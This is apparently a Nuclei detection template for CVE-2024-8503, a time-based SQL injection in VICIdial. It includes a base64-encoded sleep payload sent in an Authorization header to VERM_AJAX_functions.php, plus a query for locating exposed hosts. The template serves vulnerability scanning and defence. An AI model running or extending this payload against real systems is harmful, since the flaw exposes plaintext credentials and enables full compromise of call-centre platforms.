VICIdial - SQL Injection

id: CVE-2024-8503

info:
  name: VICIdial - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    An unauthenticated attacker can leverage a time-based SQL injection vulnerability in VICIdial to enumerate database records. By default, VICIdial stores plaintext credentials within the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection to enumerate database records and extract plaintext credentials stored by VICIdial, leading to complete system compromise and unauthorized access to the call center platform.
  remediation: |
    Apply security patches for VICIdial to address the SQL injection vulnerability in VERM_AJAX_functions.php and implement proper credential encryption.
  reference:
    - https://en.0day.today/exploit/39746
    - https://github.com/Chocapikk/CVE-2024-8504
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8503
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-8503
    cwe-id: CWE-89
    epss-score: 0.80023
    epss-percentile: 0.99569
  metadata:
    verified: true
    max-request: 2
    vendor: vicidial
    product: vicidial
    fofa-query: icon_hash="1375401192"
  tags: time-based-sqli,cve,cve2024,vicidial,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /vicidial/welcome.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Agent Login","Timeclock","Administration")'
          - 'contains(content_type,"text/html")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /VERM/VERM_AJAX_functions.php?function=log_custom_report HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic JywnJyxzbGVlcCg2KSk7IzpiYXI=

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains(content_type,"text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220389241ce3f22c1b4012c846146ad7d802ba335b701178518d1bedb9571e0c50102210098c7fbf7f229b0f26c5aff010f32cd42b5e29e049df531209f98d15bff0ae8c6:922c64590222798bb761d5b6d8e72950